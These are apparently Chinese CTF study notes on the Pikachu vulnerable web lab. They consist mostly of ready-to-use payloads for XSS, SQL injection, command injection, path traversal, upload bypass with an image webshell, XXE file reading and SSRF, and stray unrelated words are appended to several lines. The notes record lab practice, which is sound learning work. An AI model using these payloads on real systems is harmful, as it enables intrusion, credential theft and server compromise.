ctf筆記(pikachu) 19.8.27-19.9.14

本期筆記以pikachu漏洞平臺爲主php

XSS過htmlspecialchars
' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` 'html

DOM型XSS
閉合掉語句,而後構造攻擊語句
例:'><img src="1" onerror="alert('xss')">sql

XSS之href輸出
以pikachu平臺爲例:先用' onclick='alert(/xss/)'測試
發現語句被轉化爲HTML實體,拼接到a href中
payload:Javascript:alert(1)數據庫

XSS之js輸出
輸入<script>alert(1)</script>測試
發現語句變爲<scirpt>$ms='<script>alert(1)</script>
payload
';alert(1)</scirpt>
';alert(document.cookie)//windows

sql報錯注入之盲注
' or database() regexp '^a|bb|445456 從a開始匹配庫名
' or (select group_concat(distinct table_name) from information_schema.columns where table_schema regexp '庫名') regexp '^a|4545 爆表名
' or (select group_concat(distinct column_name) from information_schema.columns where table_name regexp '表名') regexp '^a|4545 爆列名
' or (select group_concat(列名) from 表名) regexp '^a|11 爆值
注:此方法只能爆出庫中的第一個表
sql搜索型注入
判斷
a%' and 1=1 --
a%' and 1=2 --
a%' and (select is_member('dbo'))=1-- 返回正常則 sa
a%' and (select is_member('db_owner'))=1-- 返回正常則 DB
都不是則是public
DB按照a%' sql inject--的格式進行注入
萬能密碼:以pikachu爲例
%' or 1=1#
%' or 1=1-- (--後有空格)
' or 1=1#(整數型萬能密碼在這裏也成功了)安全

xx型注入
先輸入單引號,報錯,關鍵部分right syntax to use near '''')'
猜想原sql語句相似於('xxx')
構造payload:') or 1=1#,成功服務器

"insert/update"注入
單引號檢測,報錯
構造payload:1' or updatexml(1,concat(0x7e,(sql inject)),0) or'
例:
1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema .tables where table_schema =database())),0) or '
updatexml可換爲extractvalue,語句不變cookie

"delete"注入
以pikachu爲例:刪除的形式爲:sqli_del.php?id=60
構造payload:sqli_del.php?id=60 or updatexml(2,concat(0x7e,(database())),0)
其他參考"insert/update"注入curl

http頭注入
所有加單引號檢測,報錯則存在注入
以pikachu爲例,UA、http accept、cookie(uname、pw字段)皆可進行注入
payload:' or updatexml(1,concat(0x7e,(database())),0) or'xss

REC exec'ping'
在cmd中,&表示同時執行,&&表示前一條執行成功才執行後一條命令,||表示前一天條執行失敗才執行後一條,|表示前一條的輸出是後一條的輸入
payload:127.0.0.1 & echo hello
exec 'eval'
後臺使用eval()函數,而且無過濾
payload:phpinfo();

不安全的文件下載
構造payload:../../../../../../../etc/passwd

不安全文件上傳
以pikachu爲例
client check 抓包,把相應的script刪掉再forward
MIME type 抓包,改MIME type爲image/jpeg
getimagesize 地址:http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
傳圖馬(含hack.php),抓包,改文件名爲hack.php%00.jpg (用%00截斷,繞過文件名檢測),上傳後發現回顯目錄爲http://127.0.0.1/pikachu/vul/unsafeupload/uploads/2019/09/01/2455305d6b5aec7d419926309450.jpg
訪問目錄,顯示正常圖片說明圖馬成功上傳,但沒法直接鏈接php
利用本地包含漏洞filename=../../unsafeupload/uploads/2019/09/01/2455305d6b5aec7d419926309450.jpg可運行馬

越權
水平越權 已知用戶有a、b,登陸a賬號,請求查看信息時抓包,將a的信息改成b(即僞形成是b的請求)
垂直越權 以pikachu爲例,高級用戶admin,低級用戶pikachu,抓取admin的cookie,登陸pikachu,第一個post是檢驗登陸信息的,不修改,而後發現第二個get請求的頁面爲opt_user,猜想opt_admin爲管理員目錄,修改請求,並使用admin的cookie,越權登陸

目錄遍歷
以pikachu爲例,發現url爲:dir_list.php?title=xxx的方式打開文件
payload:dir_list.php?title=../../../readme.md 成功讀取了readme.md的文件

敏感信息泄漏
以pikachu爲例,嘗試使用弱口令admin/admin登陸,抓包發現有一段註釋,裏面有用戶密碼

反序列化
以pikachu爲例
已知對象名爲s,變量名爲test
payload:O:1:"s":1:{s:4:"test";s:29:"<script>alert("xss")</script>";}
O:表明object,1:表明對象名字長度爲一個字符,s:對象的名稱,1:表明對象裏面有一個變量,s:數據類型(string),4:變量名稱的長度,test:變量名稱

XXE
以pikachu爲例
payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY xxe "hack">]> <a>&xxe;</a>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [<!ENTITY xxe "hack">]> <root>&xxe;</root>
<!DOCTYPE a [<!ELEMENT a ANY> <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <a>&xxe;</a>

URL重定向
以pikachu,打開第四個連接發現
http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php?url=i
payload:url=http://xxx

SSRFcurl與上面URL重定向相似,可構造payload:url=http://xxx,但同時也支持file協議、gopher協議、dict協議payload:url=dict://127.0.0.1:3306/info 查看目標主機數據庫的版本url=http://127.0.0.1:3306 也能夠達到一樣效果,所以能夠用http協議對內網端口信息進行探測curl若是訪問一個不存在的地址,會爆出服務器信息file_get_content與上面同樣,一樣可用http和file協議,但沒法使用dict協議file_get_content若是訪問一個不存在的地址,會爆出絕對路徑

相關文章
相關標籤/搜索